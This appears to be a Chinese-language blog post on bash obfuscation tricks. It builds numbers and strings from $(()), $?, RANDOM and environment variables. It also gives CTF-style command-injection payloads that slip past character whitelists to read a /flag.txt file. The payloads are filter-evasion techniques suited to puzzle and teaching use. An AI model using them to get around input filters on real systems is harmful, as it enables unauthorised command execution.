一些shell的骚操作

构造任意数字

很久之前无意间发现 $(()) 这个好玩的玩意儿,有过一波深♂入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
数字  | 构造                                                         
-1 | $((~$(())))
0 | $(())
0 | $#
1 | $((~$(($((~$(())))$((~$(())))))))
1 | ${##}
2 | $((~$(($((~$(())))$((~$(())))$((~$(())))))))
2 | $((${##}<<${##}))
3 | $((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
3 | $(($((${##}<<${##}))#${##}${##}))
4 | $((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
4 | $((${##}<<$((${##}<<${##}))))
5 | $((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
5 | $(($((${##}<<${##}))#${##}$(())${##}))
6 | $((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
6 | $(($((${##}<<${##}))#${##}${##}$(())))
7 | $((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
7 | $(($((${##}<<${##}))#${##}${##}${##}))
8 | $((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
8 | ${LANG:$((~$(()))):$((~$(($((~$(())))$((~$(())))))))}
9 | $((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

有一个很特殊的:

之前保存的好像是返回 5,这里返回的是 4,不清楚为什么,所以不列入表中(应该是因为 $0 返回 -bash# 放在前面是获取 $0 的长度)(而且只要这个字符出现在我的博客里面我的博客就会出问题,吐了。。。)

1
2
3
4
5
6
7
字符及字符串   | 构造
/bin/ | ${SHELL::$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))}
l | ${PATH:$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))))):1}
ca | ${PATH:$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))))):2}
t | ${HOME:$((~$(()))):${##}}
. | ${LANG:$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))))):1}
/bin/cat | ${SHELL::$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))}${PATH:$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))))):2}${HOME:$((~$(()))):${##}}

待补充……

利用 $ ( ) # 以及数字构造任意数

$((2#1000001)) = 53

形式: $((2#{二进制}))) = {八进制}

利用 $ ( ) ~ 构造任意数

$(($(($a))$(($b))$(($c))$(($d))$(($e))$(($f)))) 为例子吧:

含有任何负数的情况

只要有任意 $(($n)) 为负数,则表达式的结果为:

1
2
如果是正数,则拼接到前一位的末尾
如果是负数,则与前面分开

比如:$(($((1))$((0))$((-1))$((1))$((2))$((1)))) 的情况:

1
2
3
4
$(($((1))$((0))$((-1))$((1))$((2))$((1))))
=> 1 0 -1 1 2 1
=> (10) + (-1121)
=> -1111

或者:$(($((-1))$((0))$((-1))$((1))$((2))$((1))))

1
2
3
4
$(($((-1))$((0))$((-1))$((1))$((2))$((1))))
=> -1 0 -1 1 2 1
=> (-10) + (-1121)
=> -1131

亦或者:$(($((6))$((0))$((-1))$((1))$((-3))$((1))))

1
2
3
4
$(($((6))$((0))$((-1))$((1))$((-3))$((1))))
=> 6 0 -1 1 -3 1
=> (60) + (-11) + (-31)
=> 18

$(($a)) 为 0 的情况

$(($a)) 为 0,且其它都为非负数时,整个表达式的结果最后为:

1
2
$f * 2 ** 0 + $e * 2 ** 3 + $d * 2 ** 6 + $c * 2 ** 9 ······
即从最后的 $(($n)) 开始,往前推,直到第一位

全部为正数的情况

如果所有的 $(($n)) 都为正数,则全部拼接在一起输出……

命令执行

0x00

前不久想折磨一下大一新生,特意去研究了一下

现在抛出一个问题:现在👴试图读出 /flag.txt 文件,但是👴被限制了字符,只允许使用如下字符,怎解

1
2
< $ ? : ; . { } ~
A D E F H I L M N O P R T S U V

我们首先看一下,没有小写字母,直接执行命令是不可能的,然后只能想到利用 /bin/cat 这一类的来尝试一下,但是 / 也被过滤了,这个时候我们就要思考一下 / 从哪里来了

给了大写字母和 $ { } 可以尝试一下利用环境变量,env 这个指令可以获取环境变量,不同人的机子不一样,环境变量也不一样,可能会有所出入,但是我的是 ok 的,所以相信大家的都 ok

因为 PATH/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/root/bin,所以我们可以尝试取它的第一位,就可以获得 / 了,然后又有 SHELL/bin/bash,所以我们也可以尝试取它的前五位,就是 /bin/,然后就只要考虑后面用哪个命令读取了,但是问题就来了,题目并没有给👴数字,那👴怎么办呢,很简单


shell 中运行的每个命令都使用退出状态码(exit status)来告诉shell 它完成了处理。退出状态码是一个 0 ~ 255 之间的整数值,在命令结束运行时由命令传给shell

Linux 使用了 $? 这个专属变量来保存上个执行的命令的退出状态码


所以我们可以利用 $? 来榨取一个数字,但是我们可以榨取到哪个数字呢,又是否对我们的操作有帮助呢

Linux 的错误状态退出状态码没有什么标准可遵循,但有一些参考

状态码 描述
0 命令成功结束
1 一般性未知错误
2 不适合的 shell 命令
123 命令不可执行
127 没找到命令
128 无效退出参数
128+x 与 Linux 信号x相关的严重错误
130 通过 ctrl+c 终止的命令
255 正常范围之内的退出状态码

emm,”一般性未知错误“

彳亍,那我们就有一个 1 了,不过 2 啥的还没找到咋搞,不过有一个 1 就够了,因为我们还有一个 RANDOM 环境变量可以利用:<A;echo ${RANDOM:~A:$?},介个样子就可以取到一位随机数了,很玄学的一个地方就是 ~A 这个玩意儿似乎在 ${} 可以取到环境变量的最后一位的位置,利用这个点可以玩很多骚的

好了,随机个位数字也来了,我们只需要这样:<A;echo ${SHELL::${RANDOM::$?}},随机到一个 5 就可以获得 /bin/ 辣,那么怎么读文件呢,看了蛮久的 env 后发现,似乎用 tac 是最好的选择,因为最后一位的 t 蛮多的,比如 HOME,USER,MAIL(我的反正是)

然后空格用 $IFS 随便过了,最后文件马马虎虎一个 ${PATH::$?}????.??? 代替了 /flag.txt,最终 payload:<A;${SHELL::${RANDOM::$?}}${USER:~A:$?}??$IFS${PATH::$?}????.???

你别说,我还真读出来了奥

但是很奇怪的一点,就是 /bin/t?? flag.txt 的时候会出现前上图一大串奇怪的乱码,但是直接 /bin/tac flag.txt 不会

这一点不咋理解,但是无伤大雅

最后再来一个,我把 < 或者 $? 过滤(就是这俩货连在一起就过滤)的话应该怎么办?

很简单,用 SHIVL 就 ok 了,SHIVL=1

0x01

这会想继续折磨一下大一新生,结合了一下前面的构造数字,应该挺简单的,不秒掉的话就要打PP

ok,现在抛出一个问题:现在👴试图读出 /FLAG.TXT 文件,但是👴被限制了字符,只允许使用如下字符,同时禁止出现形如 ~A 的字符串,怎解

1
2
$ : { } ( ) ~
A D E F G H I L M N O P R T S U X

先不写了,👴也还没仔细想,只是觉得这样可以出,这周末课设,太烦了,睡了

很简单:利用👴前面列出来的表格就 ok 了,此处便不做详解,直接给出 payload:(/bin/cat FLAG.TXT)${SHELL::$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))}${PATH:$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))))):$((~$(($((~$(())))$((~$(())))$((~$(())))))))}${HOME:$((~$(()))):$((~$(($((~$(())))$((~$(())))))))}$IFS$9FLAG${LANG:$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))))):$((~$(($((~$(())))$((~$(())))))))}TXT

0x02

越提折磨👴越兴奋,来一波新的简单思路

现在抛出一个问题:现在👴试图读出 /flag.txt 文件,但是👴被限制了字符,只允许使用如下字符,怎解

1
$ { } : 0-9 ? / .

太简单了太简单了,直接给出 payload 吧,都不需要分析的:(/bin/less flag.txt)

/${0:1:1}??/??${0:3:1}${0:3:1} ????.???

because $0 返回 -bash(这个好像确实有不同,@LemonPrefect 师傅的和我的就有区别,他的 $0 是返回 bash,可能是因为👴的bash版本太旧了,当然,只是一个 - 的区别,本质还是没有影响的


可以看到我的 bash 版本是 4.26.46(1),@LemonPrefect 师傅用的最老的 4.26.46(2) 测试也是返回 bash,而非 -bash,此处感谢 @LemonPrefect 师傅帮忙测试

补充

关于前面这么多骚东西,补充一些基本原理和注意事项吧。

首先说说为什么 $# 会返回 0 吧,我不知道

算了,懒起来了,先不搞了,过段时间再整理吧。(别打👴

对了,贴个 bash 对于 ${} 定义的用法吧,之后会详细说明一波


在 @Guoke 那里看到了他总结的一些,先偷过来,改天整理一下,有很多新姿势。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
echo ${PWD:0:1}
获取变量PWD的第一个字符
echo ${PWD::1}
可以为空。为空的部分就当作0了
echo ${PWD#??????}
${变量#字符串}表示在变量中。截取字符串右边的值。可以用模糊匹配。截取PWD的最后一位
echo ${PWD%??????}
${变量%字符串}表示在变量中。截取字符串左边的值。可以用模糊匹配。截取PWD的第一位
echo ${#PWD}
获取变量PWD的长度
AASAA;echo ${#_}
$_。表示上一个命令的返回结果。这样就可以构造任意数字
echo ${#A}
由于变量A没定义。所以他的长度为0.
echo $OPTIND
这个也可以获取数字1
>B;echo $?
最后运行的命令的结束代码,可以获得数字0
<B;echo $?
最后运行的命令的结束代码,可以获得数字1
echo $RANDOM
可以生成随机数。可以配合#构造6543这几种数字。概率比较大。还可以配合截取。获得数字
echo ${#$}
$$是程序PID。#获取长度。看运气咯
echo ${#SHLVL}
SHLVL貌似是一个shell终端深度。。然后#可以获取数字1